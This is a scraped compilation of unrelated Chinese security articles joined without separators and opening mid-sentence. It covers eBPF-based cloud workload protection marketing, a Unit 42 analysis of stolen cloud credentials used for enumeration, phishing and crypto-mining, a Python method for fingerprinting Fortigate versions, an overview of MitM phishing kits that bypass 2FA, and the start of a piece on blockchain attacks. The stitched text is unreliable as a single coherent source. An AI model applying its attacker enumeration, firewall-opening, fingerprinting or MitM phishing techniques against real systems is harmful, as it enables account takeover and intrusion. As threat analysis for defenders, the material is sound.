運行穩定性;

雖然內核模塊可以提供CWPP應用程序所需的內核可見性,但在內核中運行代碼可能是危險的。錯誤的操作會破壞系統的穩定(例如內核被攻擊),或在內核中引入安全漏洞。這兩種結果都是不可接受的,特別是在涉及CWPP代理的情況下。使用內核模塊的CWPP代理可能會導致內核被攻擊,從而導致VM崩潰並阻礙你的工作負載。這些威脅會直接影響到財務績效、訂單履行、客戶忠誠度。

與內核模塊形成鮮明對比的是,eBPF框架包括諸如驗證引擎、JIT編譯器等安全控件。因此,eBPF程序不會使內核崩潰,它們也不能進入內核中的任意內存空間,這使得它們更不容易出現安全漏洞。 eBPF程序提供了所有內核級的可見性,並且沒有來自內核模塊的任何風險。基於這些原因,從運行穩定性的角度來看,eBPF是CWPP的首選。

系統性能/資源效率將信息從內核內部傳輸到用戶空間的速度緩慢,並且會帶來CPU、內存性能損耗。相反,eBPF框架使我們能夠觀察內核行為,並在將結果的子集傳輸回用戶空間之前在內核內執行分析。這為在用戶空間中運行並使用eBPF程序的CWPP代理創造了基本的性能優勢。 eBPF與具有內核模塊的CWPP代理相比,用最低的消耗提供了較高的可觀測性。

業務敏捷性開發人員應該專注於創新,而不是解決內核模塊引入的內核依賴問題。通過從用戶空間進行操作,DevOps可以更靈活地更新主機操作系統映像,而不必擔心更新與CWPP代理髮生衝突。 eBPF使這成為可能。因此,更多的DevOps可以用於創新,而不必花精力去維護。

此外,由於CWPP代理本身使用eBPF框架並避免內核模塊,因此供應商也更加註重創新。當然,客戶也從業務敏捷性中獲益。

以SentinelOne的產品為例,說說CWPP的一些出色性能

高性能獨立測試結果證明了這一點。 2021年4月,MITRE Engenuity發布了Carbanak和FIN7的MITRE ATTCK基準測試結果,這是一項專注於模擬金融威脅群體的評估。 MITRE ATTCK首次在其測試中包含Linux服務器。 SentinelOne是唯一一個在Windows設備和Linux服務器之間具有100%可見性的供應商。我們擁有最豐富的檢測(MITRE的術語是“分析檢測”),如下圖所示。

4.jpg

Visibility, MITRE Engenuity, Carbanak + FIN7

5.jpg

Analytic Detections, MITRE Engenuity, Carbanak+FIN7

如果CWPP要保護雲工作負載免受運行時攻擊並確保業務連續性,那麼它必須是實時的如果是延遲檢測,哪怕是幾秒鐘的時間,攻擊者都可以使雲工作負載停止。如果不是勒索軟件,那就是惡意軟件在你的雲足跡中悄悄傳播。從廣義上講,傳播範圍越廣,補救力度就越大。損失也就越大。正如MITRE定義的那樣,SentinelOne提供了100%的實時檢測,零延遲。這就意味著,延遲越少越好。

6.jpg

Delayed Detections, MITRE, Carbanak + FIN 7

同樣,2022年MITRE Engenuity ATTCK測試顯示SentinelOne具有極高的性能。 Wizard Spider+Sandworm模擬還包括Linux服務器。此時,SentinelOne再次以99%的分析覆蓋率領先於CrowdStrike、Microsoft或TrendMicro。可以在MITRE Engenuity網站上進行直接比較。

7.jpg

2022年MITRE信息圖

資源效率任何應用程序,無論是CWPP代理還是其他應用程序,都需要計算和內存資源才能運行,這些資源都是有成本的。對於在固定和沈沒成本基礎設施(如數據中心)內的部署,此類應用程序會佔用原本可用於主要業務工作負載的資源,雖然這不是一項增加的運營費用,但存在資源的機會成本。然而,對於雲IaaS,所使用的資源是按需計量和付費的。部署CWPP代理可能必然會增加雲計算實例的大小(例如,從t4g.medium到t4g.large),從而逐漸增加其運營費用。當然,這是一項必要的支出,但也是一項增量支出。

因此,SentinelOne的產品更關注CPU和內存利用率,就像關注性能一樣。 2022年7月,SentinelOne宣布支持AWS Graviton3,這是最新一代AWS ARM處理器,在計算、功率等方面提供了進一步的優勢。

Cloud-21-illustration_orange.png

雲洩露通常源於配置錯誤的存儲服務或暴露的憑據,越來越多的攻擊專門針對雲計算服務,以竊取相關憑據並非法訪問云基礎設施。這些攻擊的目的就是使目標組織付出經濟或其他方面的代價。

本文重點介紹了兩個雲計算憑據被攻擊的示例。雖然初始訪問階段很重要,但我們將重點關注攻擊期間執行的攻擊後操作,並分享這兩種針對雲基礎設施的攻擊流程。攻擊流程顯示了攻擊者如何濫用竊取的計算憑據來尋找各種攻擊方法(如加密挖掘、數據竊取等),並以意想不到的方式濫用雲服務。

為了檢測下面描述的攻擊,由Amazon Web Services (AWS)和Google cloud概述的雲日誌記錄和監控最佳實踐是必不可少的,因為它們提供了對雲基礎設施級別活動的可見性。這強調了遵循Amazon Web Services和Google Cloud日誌記錄和監控最佳實踐的重要性。

Palo Alto Networks通過Cortex XDR for cloud和Prisma cloud幫助組織解決雲安全問題,Cortex XDR for cloud可檢測雲計算憑據被盜等雲攻擊,Prisma cloud以最少的權限管理身份授權。

雲工作的關鍵原則在深入研究之前,我們應該了解在雲計算中工作的一個非常基本和重要的規則。實體(無論是人還是計算工作負載)都需要合法和相關的憑據才能在基礎設施級訪問云環境。憑據用於身份驗證(驗證實體的標識)和授權(驗證實體被允許做什麼)。

作為一種最佳實踐,當計算工作負載在雲中執行API調用(例如,查詢存儲服務)時,工作負載的相關憑據應該僅專用於它。它們還應該僅供該工作負載或人員使用,而不能供其他任何人使用。

正如我們將在這兩個示例中看到的,有助於降低雲計算憑據攻擊風險的一個重要安全原則是最低權限訪問。特別是,這意味著與這些憑據相關聯的權限應該縮小到使用它們的代碼實際所需的最小權限集。這限制了攻擊者在計算憑據被盜用時可以採取的行動。

攻擊示例1:AWS Lambda憑據受攻擊導致網絡釣魚攻擊攻擊者可以通過竊取Lambda的憑據來執行代表Lambda函數的API調用,這允許攻擊者可以在雲環境中執行多個API調用並枚舉不同的服務,如下圖所示。雖然由於缺乏權限,大多數API調用都不被允許,但該攻擊導致了由攻擊者創建的AWS簡單電子郵件服務(SES)發起的網絡釣魚攻擊。

1.png

攻擊者使用受攻擊的Lambda函數的憑據枚舉雲環境

這種網絡釣魚攻擊不僅給組織帶來了意想不到的成本,也使其他組織面臨額外的風險。

在本示例中,受害者沒有活躍的SES,如果有,攻擊者可能會濫用它來對受害者的組織發起攻擊,或者他們甚至可以使用合法的電子郵件帳戶進行網絡釣魚攻擊。

由於組織使用的雲服務種類繁多,因此很難預測雲攻擊將在何處結束。從雲計算到網絡釣魚並不是只有一個實現方法。

攻擊流攻擊者能夠竊取Lambda的環境變量並將它們導出到攻擊設備(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN)。

當憑據被竊取後,攻擊者通過以下步驟發起攻擊:

WHOAMI - 2022-05-20T20:35:49 UTC攻擊從GetCallerIdentity命令開始,該命令相當於whoami,因為它提供了與憑據相關聯的實體的信息。從響應中,攻擊者可以獲得其他信息,例如被盜的帳戶ID和憑據類型。但是,它們不能確定與身份相關聯的任何權限。

IAM枚舉- 2022-05-20T20:35:55 UTC攻擊的下一個階段是身份和訪問管理(IAM)枚舉,IAM被認為是攻擊的最佳途徑。通過獲得對IAM的訪問權,攻擊者可以提升權限並獲得受害者帳戶的持久性。

IAM枚舉包括兩個API調用,由於缺乏權限而被拒絕:

ListAttachedRolePolicies

ListRolePolicies

可以假設,攻擊者註意到缺少權限,因此僅在兩個命令後終止IAM枚舉(可能是為了避免產生不必要的噪音)。

通用枚舉2022-05-20T20:39:59 UTC在枚舉IAM失敗後,攻擊者開始對不同區域的不同服務進行枚舉。這種技術的噪音很大,因為攻擊者試圖了解目標帳戶的體系結構,更重要的是,獲得可能存在於雲帳戶中的敏感信息的訪問權。

執行的一些主要服務和API調用包括:

存儲枚舉

ListBucketsGetBucketCorsGetBucketInventoryConfigurationGetBucketPublicAccessBlockGetBucketMetricsConfigurationGetBucketPolicyGetBucketTaggingEC2枚舉

GetConsoleScreenshotGetLaunchTemplateDataDescribeInstanceTypesDescribeBundleTasksDescribeInstanceAttributeDescribeReplaceRootVolumeTasks網絡枚舉

DescribeCarrierGatewaysDescribeVpcEndpointConnectionNotificationsDescribeTransitGatewayMulticastDomainsDescribeClientVpnRoutesDescribeDhcpOptionsGetTransitGatewayRouteTableAssociations日誌記錄枚舉

GetQueryResultsGetBucketLoggingGetLogRecordGetFlowLogsIntegrationTemplateDescribeLogGroupsDescribeLogStreamsDescribeFlowLogsDescribeSubscriptionFiltersListTagsLogGroup備份枚舉

GetPasswordDataGetEbsEncryptionByDefaultGetEbsDefaultKmsKeyIdGetBucketReplicationDescribeVolumesDescribeVolumesModificationsDescribeSnapshotAttributeDescribeSnapshotTierStatusDescribeImagesSES枚舉

GetAccountListIdentities通用枚舉

DescribeRegionsDescribeAvailabilityZonesDescribeAccountAttributes後門2022-05-20T20:43:22 UTC在枚舉IAM失敗時,攻擊者試圖通過執行CreateUser命令創建一個新用戶(未成功)。

從雲計算到網絡釣魚攻擊2022-05-20T20:44:40 UTC由於枚舉期間的大多數API調用導致權限被拒絕,因此攻擊者能夠成功枚舉SES。因此,攻擊者通過濫用雲電子郵件服務發起了釣魚攻擊,其中包括執行VerifyEmailIdentity和UpdateAccountSendingEnabled等命令。

逃避檢測2022-05-20T23:07:06 UTC最後,攻擊者試圖通過執行DeleteIdentity命令刪除SES標識來隱藏他的一些活動。

其他情況分析此攻擊的一個非常重要的攻擊指標(IoC)是IP地址50.82.94[.]112。

來自Lambda函數的API調用通常使用為Lambda生成的憑據(包括AccessKeyId)從其IP執行。因此,具有該AccessKeyId的每個API調用都被認為是Lambda函數。然而,在攻擊過程中,攻擊者能夠竊取Lambda的憑據,從而允許攻擊者冒充Lambda。

因此,IP是關鍵的IoC,因為它是檢測冒充Lambda的方法。攻擊者使用竊取的憑據來模擬和執行代表Lambda函數的API調用,但是他們是從一個未連接到Lambda的IP地址執行的,該IP地址也不屬於雲環境。

攻擊示例2:部署加密挖礦的Google Cloud應用程序引擎服務帳戶受攻擊攻擊者能夠竊取Google Cloud應用程序引擎服務帳戶(SA)的憑據,攻擊者有許多方法可以實現這一點,這些方法不一定與雲服務提供商中的任何漏洞有關。例如,在許多示例中,用戶將憑據存儲在不安全的位置,或者使用容易猜到或強行設置的密碼。

在本示例中,被盜竊的SA是默認SA,它具有高權限的角色(項目編輯器)。這允許攻擊者發起攻擊,最終創建了多個用於加密挖掘的核心CPU虛擬機(VM),如下圖所示。

2.png

攻擊者濫用受攻擊的App Engine SA來分配多個雲示例進行竊取攻擊

當攻擊者在受害者的環境中啟動數千個虛擬機時,將顯著增加其預期成本。即使有人在短時間內註意到在他們的環境中發生了這樣的攻擊,它仍然會產生嚴重的攻擊後果。

攻擊流谷歌應用引擎是Google Cloud完全管理的無服務器平台,服務賬戶是令牌。當用戶創建一個App Engine示例時,雲提供商創建一個默認SA,並將其附加到創建的App Engine上。

此應用程序引擎默認SA在項目中具有編輯功能。編輯器具有很高權限,這是攻擊者能夠發起攻擊的關鍵,編輯器允許執行高權限的API調用,例如:

啟動計算工作負載;

FW (Firewall)規則修改;

創建SA密鑰;

權限升級2022-06-16T12:21:17.624 UTC這次攻擊一開始是為了升級權限。如上所述,默認情況下,應用程序引擎的SA對項目具有編輯權限。憑藉這些權限,攻擊者試圖通過將以下對象添加到IAM策略中來添加計算/管理功能:

3.png

正如我們所看到的,SA域前綴中的appspot表示該SA屬於App Engine服務。

允許任何2022-06-16T12:21:29.406 UTC接下來,攻擊者修改了項目級別的FW規則。首先,攻擊者試圖創建一個子網(名為default)。然後,攻擊者將以下規則添加到該子網中:

4.png

此操作進一步推進了攻擊者挖掘加密貨幣的目標,為了實現無限制的加密貨幣挖掘,攻擊者刪除了對網絡級別的任何限制。

注意優先級字段是很重要的。通過將其設置為零,攻擊者的規則被設置為最高優先級,這意味著它將按照現有FW規則的順序首先生效。

挖礦攻擊2022-06-16T12:21:38.916 UTC安裝完成後,攻擊的主要階段就開始了,在多個區域啟動虛擬機。

雖然攻擊者可以創建高CPU設備,但在本示例中,攻擊者反而創建了一個配備了四個高性能GPU(例如nvidia-tesla-p100)的標準虛擬機(例如n1-standard-2):

5.png

總的來說,在這次攻擊中創建了超過1600個虛擬機。

後門2022-06-16T13:25:56.037 UTC攻擊者假設用於攻擊的SA密鑰會被檢測到並被刪除,因此通過執行google.iam.admin.v1.CreateServiceAccountKeyAPI調用創建了多個SA密鑰供以後使用。

其他情況分析就像我們討論的第一個示例一樣,IP是一個重要的IoC。在這種情況下,攻擊是從多個IP(總共九個不同的IP)發起的,其中一些是活動的Tor出口節點。

同樣,我們希望從雲環境中的IP使用App Engine的SA,它絕對不應該從Tor出口節點使用。

修改防火牆規則是此類攻擊中常用的技術,許多組織強制執行拒絕訪問活動挖礦池的網絡流量規則,因此攻擊者必須修改防火牆規則來實現他們的目標。

最後,通過編輯名為default的網絡,攻擊者試圖逃避檢測。除非禁用此選項,否則默認情況下,將使用默認網絡創建每個新項目。攻擊者似乎試圖利用這一點,從而避免創建自己的網絡。

總結:竊取計算令牌是一個日益嚴重的威脅竊取計算工作負載的令牌是上述兩個攻擊示例的共同點,雖然上述兩個示例都涉及無服務器服務,但此攻擊向量與所有計算服務都相關。

需要強調的是,這種類型的攻擊可能來自不同的攻擊路徑,包括應用程序漏洞或零日漏洞(如Log4Shell),而不僅僅來自錯誤配置或糟糕的雲安全態勢管理(CSPM)。

為了處理此類攻擊,雲審計日誌對於檢測和調查與響應(IR)都至關重要。對於無法安裝代理的無服務器工作負載,雲審計監控更為關鍵,因此更難阻止此類攻擊。

AWS和Google Cloud提供的日誌記錄和監控最佳實踐為如何防止此類情況提供了明確的指導。 AWS GuardDuty服務還可以幫助檢測和警告類似的攻擊,例如從另一個AWS帳戶使用的EC2示例憑據。另一種預防方法是為Lambda配置接口端點策略,限制Lambda僅在VPC內使用。

Palo Alto Networks的用戶可以通過以下方式免受計算令牌盜竊Cortex XDR for cloud,通過將來自云主機、雲流量和審計日誌的活動與端點和網絡數據集成,為安全團隊還原完整事件過程。

Prisma Cloud幫助組織管理身份授權,解決了在雲環境中管理IAM的安全挑戰。 Prisma Cloud IAM安全功能自動計算跨雲服務提供商的有效權限,檢測過度許可的訪問,並建議獎權限降到最低。

了解如何使用Unit 42雲事件響應服務(用於調查和響應攻擊)和網絡風險管理服務(用於在攻擊發生前評估你的安全態勢),從而保護組織免受雲環境攻擊。

0x00 前言Fortigate的識別需要區分管理頁面和VPN登陸頁面,版本探測需要根據頁面特徵提取特徵,根據特徵匹配出精確的版本,本文將要介紹通過Python實現Fortigate識別與版本探測的方法,開源代碼。

0x01 簡介本文將要介紹以下內容:

實現思路

實現細節

開源代碼

0x02 實現思路1.Fortigate的識別可通過跳轉的URL進行區分

管理頁面跳轉的url:/login?redir=%2F

vpn登陸頁面跳轉的url:/remote/login?lang=en

2.版本探測頁面源碼中存在32位的16進製字符串可以作為版本識別的特徵,每個版本對應不同的32位字符串

0x03 實現細節1.Fortigate的識別這裡的方法是直接訪問IP,根據頁面返回結果進行判斷

(1)管理頁面

在返回結果中就能獲得32位的16進製字符串

(2)vpn登陸頁面

返回的內容為跳轉地址,需要解析出跳轉地址重新構造URL並訪問,在返回結果中獲得32位的16進製字符串

返回跳轉地址的內容示例:

1.png因為跳轉的url不固定,這裡可以通過正則匹配取出需要跳轉的url,示例代碼:

2.png

注:

在判斷版本時無法在requests模塊中使用allow_redirects=False參數來控制是否重定向,原因如下:

使用requests模塊時,如果使用allow_redirects=False參數,只有在返回狀態碼為301或302時,才會關閉重定向,這裡Fortigate返回的狀態碼為200,所以allow_redirects=False參數不起作用

2.版本探測在實際測試過程中,不同版本的Fortigate,雖然都會返回32位16進製字符,但是格式不同,為了提高匹配的效率,減少工作量,這裡在正則匹配時選擇直接匹配32位的16進製字符,示例代碼如下:

3.png

在實際測試過程中,存在response.text的輸出為亂碼的情況

研究解決方法的過程如下:

輸出response.headers,示例代碼:

4.png

返回結果:

5.png

發現編碼格式為x-gzip

所以這裡可以對response.text額外做一次gzip解碼,獲得原始數據,代碼如下:

6.png完整的實現代碼如下:

7.png 8.png

注:

如果遇到通過瀏覽器訪問SSL Vpn Client頁面提示ERR_SSL_VERSION_OR_CIPHER_MISMATCH的錯誤時,程序將返回如下結果:

9.png

解決方法:

改用Python2即可

0x04 開源代碼完整的實現代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Fortigate_GetVersion.py

代碼支持區分管理頁面和VPN登陸頁面,提供了VM版本的指紋庫作為示例,代碼能夠從頁面自動提取出指紋特徵,同指紋庫進行比對,識別出精確的版本。

0x05 小結本文介紹了通過Python實現Fortigate識別與版本探測的方法,介紹實現細節,開源代碼,作為一個很好的學習示例。

我們可能或多或少都知道一些如何避免網絡釣魚的方法,比如注意拼寫錯誤或其他會提醒我們詐騙者存在的錯誤。然而,這個建議只對傳統的網絡釣魚技術有幫助。中間人(MitM)網絡釣魚攻擊則表明攻擊者可以繞過傳統防禦。

MitM網絡釣魚攻擊是一種最先進的網絡釣魚攻擊類型,能夠攻擊雙因素身份驗證(2FA),同時避免許多基於內容的網絡釣魚檢測引擎。 MitM攻擊不是顯示目標登錄頁面的欺騙版本,而是使用反向代理服務器將原始登錄頁面直接中繼到用戶的瀏覽器。

截至2022年11月,多起網絡釣魚攻擊使用MitM策略來攻擊商業電子郵件帳戶,並成功竊取組織的機密信息。有幾個流行的MitM網絡釣魚工具包,讓黑客只需點擊幾下即可輕鬆發起他們自己的MitM釣魚攻擊。

這些工具包不斷擴展其功能集,同時變得更加直觀和易於使用。許多人已經採用了複雜的偽裝技術,使他們能夠逃避傳統網絡釣魚檢測系統的檢測。因此,我們預計這些MitM網絡釣魚攻擊的流行率將在不久的將來繼續上升。

你可以通過高級URL過濾實時阻止MitM釣魚頁面,從而免受本文中討論的攻擊。

傳統的網絡釣魚攻擊釣魚攻擊的目的是建立一個虛假的登錄頁面,誘使用戶輸入登錄憑證。

在傳統的網絡釣魚攻擊中,攻擊者通常會創建自己的網絡釣魚頁面來模仿合法的登錄頁面。他們可能會將其託管在新創建的域上,破壞合法域並將其網絡釣魚頁面託管在該域上,或者使用現有的SaaS平台託管其網絡釣魚內容。

“網絡釣魚工具包”簡化了創建和部署網絡釣魚攻擊的過程,提供了一套標準程序或腳本,這樣即使是沒有經驗的攻擊者也可以發起自己的網絡釣魚攻擊。這些工具通常使用模板化的網頁,模仿目標公司的實際登錄頁面。基於web的網絡釣魚即服務(PhaaS)平台的攻擊服務則更進一步,如Caffeine(如圖1所示)和Robin Banks,通過提供易於使用的界面,允許攻擊者配置和部署網絡釣魚攻擊。

1.png

網絡釣魚即服務(PhaaS)平台Caffeine的主頁於2022年10月首次公佈

在傳統的網絡釣魚攻擊中,網絡釣魚頁面通常直接託管在惡意或受損的服務器上,且不一定是合法登錄頁面的完美副本。例如,如果攻擊者要創建一個模仿GitHub登錄的網絡釣魚頁面,他們可能不想重新創建圍繞核心登錄功能的所有其他功能,例如“忘記我的密碼”鏈接。

專家或細心的觀察者可能會注意到合法的GitHub登錄頁面和欺騙的釣魚頁面之間的細微差異,並意識到欺騙的頁面是非法的。下圖顯示了釣魚頁面與原始目標登錄頁面的不同之處。

類似地,基於內容的自動網絡釣魚預防引擎可能會注意到這些非法登錄頁麵包含可疑內容的跡象(例如斷開的鏈接或拼寫錯誤),並將其標記為可能的網絡釣魚網站。

2.png

左圖:網絡釣魚攻擊中使用的假冒Microsoft登錄頁面示例,右圖:截至2022年11月21日的原始Microsoft登錄頁面

即使有這些缺陷,這些網絡釣魚活動中的收件人數量之多意味著一些目標仍然可能成為這些攻擊的受害者。雙因素身份驗證(2FA),也稱為多因素身份驗證,已成為一種日益流行的添加額外安全層以防止成功的網絡釣魚攻擊的方式。

雙因素身份驗證實際應用的一個例子是,除了要求用戶名和密碼外,合法的登錄網站還要求額外的身份驗證形式,例如發送到用戶註冊電子郵件地址的一次性密碼(OTP)。即使攻擊者通過成功的釣魚攻擊獲得了受害者的用戶名和密碼,他們也無法以該用戶身份登錄,因為他們無法檢索在惡意登錄嘗試期間發送的OTP。

MitM網絡釣魚攻擊MitM網絡釣魚攻擊是一種繞過基於內容的防禦和雙因素身份驗證的新型網絡釣魚攻擊。與傳統的網絡釣魚攻擊不同,MitM攻擊顯示的是合法登錄頁面的獨立但虛假的版本,它向用戶顯示的內容與他們在合法登錄頁面上看到的內容完全相同。 MitM服務器沒有託管合法登錄頁面的副本,而是簡單地獲取合法站點上呈現的內容並將其轉發給最終用戶,如下圖所示。

換句話說,MitM服務器充當目標和合法登錄頁面之間的代理。當目標將其憑據輸入到代理頁面時,MitM服務器將憑據存儲起來,並將其轉發到合法的登錄頁面,從而成功登錄。從受害者的角度來看,一切看起來就像他們登錄到了合法頁面。

此外,這兩個連接(MitM服務器到合法站點,受害者到MitM服務器)都是通過HTTPS協議提供的,因此受害者將根據web瀏覽器地址欄中的掛鎖圖標看到連接是“安全的”。

3.png

MitM網絡釣魚攻擊的可視化表示

由於顯示給目標的內容與他們在合法登錄頁面上看到的內容完全相同,這種基於代理的方法使受害者更難從視覺上辨別出可疑的事情正在發生,並且使基於內容的網絡釣魚檢測引擎很難注意到任何可疑的事情。

MitM網絡釣魚攻擊就像通過隱藏得很好的鏡子觀看原畫。 MitM攻擊除了上述好處外,還有其他幾個好處。例如,如果用戶設置了雙因素身份驗證,這種基於代理的方法允許MitM服務器自動繞過這個雙因素身份驗證。 在MitM服務器將用戶名和密碼轉發到合法站點後,合法站點將按照其正常行為向其客戶端發送OTP。如果被欺騙,目標將在MitM網絡釣魚頁面中輸入一次性密碼。這允許MitM服務器將密碼中繼到合法站點,從而完全完成登錄嘗試。

此時,MitM服務器將從合法站點接收一個真實的會話cookie。這種持久的登錄允許受害者繼續正常瀏覽網站(儘管仍然通過攻擊者的web服務器),從而進一步保持網絡釣魚攻擊的合法性。

真實發生的MitM網絡釣魚攻擊在撰寫本文時,黑客可以使用幾個工具輕鬆地部署他們自己的MitM網絡釣魚攻擊。與傳統的釣魚套件類似,這些MitM釣魚套件提供了一組腳本,或者在某些情況下,甚至是圖形用戶界面(GUI),使攻擊者可以輕鬆配置和發起MitM釣魚攻擊。

接下來,我們將介紹一些流行的MitM釣魚工具包。這些工具包都採用了將原始登錄頁面傳遞給受害者瀏覽器的核心策略,但它們在實現細節和附加功能(例如,隱身和TLS證書生成)方面有所不同。 例如Evilginx2,生成唯一的標記化URL(又名“誘餌”),必須直接訪問以顯示釣魚內容。對任何其他路徑的請求都會導致重定向到良性站點。

1.Evilginx2 ,2018年7月(2017年5月發布的第一個版本)首次發布,功能豐富的MitM釣魚工具包,具有易於使用的命令行界面。具有內置隱藏功能。生成URL中必須存在的唯一令牌(誘餌),此工具的命令行界面如下圖所示。

2.Modlishka ,2019年1月發布,自動化幾個配置步驟和攻擊後的操作,例如使用被盜的會話cookie啟動一個插入指令的Chrome實例。

3.Muraena,2019年5月發布,barebones MitM工具包。與其他自動創建TLS證書的工具包不同,Muraena要求攻擊者提供自己的證書。

4.EvilnoVNC,2022年9月發布,使用真實的web瀏覽器在攻擊服務器上渲染登錄頁面,並通過VNC將內容提供給受害者的瀏覽器。

5.EvilProxy,2022年9月發布,MitM網絡釣魚攻擊的網絡釣魚即服務平台。提供一個易於使用的GUI,攻擊者可以設置和管理他們自己的MitM網絡釣魚活動。

4.png

使用Evilginx2命令行界面來啟動和執行MitM釣魚攻擊的屏幕截圖

在今年之前,與MitM相關的策略已經被用來成功地模擬大型軟件組織,暴露數億用戶的個人數據,並從新興初創公司竊取數百萬美元。然而,這些攻擊並不一定使用網絡釣魚本身作為其主要攻擊載體。現在,基於MitM的網絡釣魚攻擊已經開始佔據中心位置。

2022年中MitM網絡釣魚活動2022年7月,微軟報告了一起使用Evilginx2竊取目標微軟證書的網絡釣魚活動。該活動向潛在受害者發送電子郵件,促使他們下載一個重要的附件。在打開附件並通過一系列重定向路由之後,受害者將到達如下圖所示的MitM釣魚頁面。在攻擊者成功攔截身份驗證cookie後,他們會登錄到受攻擊的Outlook帳戶,並不斷搜索與金融相關的電子郵件和附件,以尋找欺詐的機會。

5.png

MitM憑證竊取頁面,這是微軟在2022年7月報告的一部分

為了避免被發現,該活動使用了各種隱藏技術,以確保只有當受害者通過原始HTML附件導航到頁面時,釣魚內容才會加載。到微軟的威脅情報文章發表時,在幾個月的時間裡,已有超過10000個組織成為了這次活動的目標。

根據Palo Alto 網絡高級URL過濾日誌,他們的高級URL過濾服務早在2021年9月就已經開始阻止對攻擊者域上託管的標記化釣魚URL的網絡流量(例如login[.]mcrsfts-passwdupdate[.]com/HMxVQmxZ)。

2022年底MitM網絡釣魚活動2022年9月,另一個活動被發現使用MitM網絡釣魚策略竊取目標的GitHub登錄憑據。幾個域被用來模擬CircleCI登錄頁面,提示受害者使用GitHub憑據登錄。

6.png

ci[.]com.2022年9月GitHub釣魚活動的示例登錄頁面,點擊“登錄GitHub”,用戶會看到一個MitM憑證竊取頁面,它反映了GitHub的實際登錄頁面。

7.png

上圖中網頁鏈接到的MitM憑證竊取頁面,該網頁不託管在網絡釣魚服務器上,而是從GitHub本身轉發

對於已經設置了基於OTP的雙因素身份驗證的目標,MitM服務器還會提示他們輸入OTP,然後將其轉發到GitHub,從而允許成功登錄。從那裡,攻擊者將通過快速創建個人訪問令牌(pat)或將他們自己的SSH密鑰添加到受害者的帳戶來堅持他們的訪問權限。這樣,即使受害者更改了用戶名和密碼,攻擊者也可以繼續訪問被洩露的帳戶。

Dropbox在2022年11月成為MitM網絡釣魚攻擊的受害者,攻擊者可以攻擊並複制130個私人存儲庫。這表明,這些MitM網絡釣魚攻擊已經在實際活動中產生了重大影響。在Dropbox對這次攻擊的回應中,他們計劃將雙因素身份驗證協議從OTP轉移到WebAuthn,這是一種更能抵禦網絡釣魚的雙因素身份驗證形式。

最近幾週,Palo Alto 的高級URL過濾服務檢測到更多的MitM釣魚URL,像Microsoft 365這樣的企業登錄是主要目標。

8.png

-r-us[.]co[.]uk.Palo Alto 的高級URL過濾服務檢測到以Microsoft為目標的MitM網絡釣魚頁面

9.png

microsoftonlinesupport[.]cf.高級URL過濾服務檢測到的針對Microsoft 365的MitM網絡釣魚頁面

隨著MitM網絡釣魚工具包越來越受歡迎,並繼續擴展其功能集,MitM網絡釣魚攻擊的流行程度也會增加。事實上,Evilginx 3.0預計很快就將發布,同時還將提供如何成功執行MitM網絡釣魚攻擊的在線課程。

總結MitM網絡釣魚攻擊已經在現實世界中造成了嚴重破壞,隨著MitM網絡釣魚工具包的不斷普及,預計其流行程度將會上升。因此,對於各類組織來說,保護自己免受這類網絡釣魚攻擊變得越來越重要。

目前,終端用戶可以採取的保護自己免受MitM網絡釣魚攻擊的措施包括:

1.在輸入任何憑證之前驗證URL的有效性,例如,確保一個URL真的是“github[.]com”,而不是“github-impersonator[.]org”。

2.使用密碼管理器存儲和輸入憑據,如果你發現自己處於密碼管理器無法識別的網站上的MitM釣魚頁面,密碼管理器將在輸入憑據之前發出警告。

3.使用最先進的MFA方法,如硬件安全密鑰或網絡認證雙因素身份驗證。

4.使用高級URL過濾服務的用戶可以通過產品的內嵌網絡釣魚URL檢測(包括本文中提到的MitM網絡釣魚URL)免受MitM網絡釣魚攻擊。高級URL過濾會實時分析網絡流量,在攻擊到達目標之前阻止攻擊。這樣,即使MitM釣魚攻擊使用隱藏的URL(如Evilginx2的情況),高級URL過濾也可以在憑證被盜之前阻止攻擊。

區塊鏈並不像我們想像的那麼安全。儘管安全性貫穿於所有區塊鏈技術,但即使是最強大的區塊鏈也會受到現代網絡犯罪分子的攻擊。 Apriorit 專家已經分析了針對Coincheck、Verge和Bancor交易所的攻擊,這些攻擊極大地損害了區塊鏈本身的聲譽。

區塊鏈可以很好地抵抗傳統的網絡攻擊,但網絡犯罪分子正在想出專門針對區塊鏈技術的新方法。在本文中,我們描述了針對區塊鏈技術的主要攻擊媒介,並了解了迄今為止最重大的區塊鏈攻擊。

網絡犯罪分子已經設法濫用區塊鏈來執行惡意操作。如果攻擊者沒有收到加密貨幣獎勵,像WannaCry和Petya這樣的勒索軟件攻擊就不會如此大規模。現在,看起來黑客正在考慮利用區塊鏈安全漏洞作為他們的主要收入來源。

2019 年3 月,白帽黑客在短短30 天內在各種區塊鍊和加密貨幣平台中發現了43 個漏洞。他們甚至在Coinbase、EOS和Tezos等著名平台中發現了漏洞。

然而,弱點通常很難檢測到,因為它們可能隱藏在不顯眼的地方。例如,Parity 多重簽名錢包是通過破壞其中具有提取功能的庫而被黑客入侵的。攻擊者設法將庫本身初始化為錢包,並聲稱擁有它的所有者權利。結果,573 個錢包受到影響,價值3000 萬美元的加密貨幣被盜,另外被白帽黑客組織救出的1.8 億美元後來歸還給了合法所有者。

通過攻擊比特幣和以太坊等龐大的網絡,網絡犯罪分子表明他們足夠聰明,可以反駁區塊鏈安全的神話。讓我們考慮五個最常見的區塊鏈攻擊向量:

image.png

五個區塊鏈攻擊向量

1.區塊鍊網絡攻擊區塊鍊網絡包括創建和運行交易並提供其他服務的節點。例如,比特幣網絡由發送和接收交易的節點以及將批准的交易添加到區塊的礦工組成。網絡罪犯尋找網絡漏洞並通過以下類型的攻擊利用它們。

分佈式拒絕服務分佈式拒絕服務(DDoS) 攻擊很難在區塊鍊網絡上執行,但它們是可能的。

當使用DDoS 攻擊區塊鍊網絡時,黑客打算通過大量請求消耗其所有處理資源來關閉服務器。 DDoS 攻擊者旨在斷開網絡的礦池、電子錢包、加密貨幣交易所和其他金融服務。區塊鏈也可以使用DDoS 殭屍網絡在其應用程序層受到DDoS 攻擊。

2017 年,Bitfinex 遭受了大規模的DDoS 攻擊。這對IOTA 基金會來說尤其不方便,IOTA 基金會在Bitfinex 通知用戶此次攻擊的前一天就在平台上發布了他們的IOTA 代幣。三年後,即2020 年2 月,在OKEx 加密貨幣交易所注意到類似攻擊的一天后, Bitfinex又經歷了一次DDoS 攻擊。

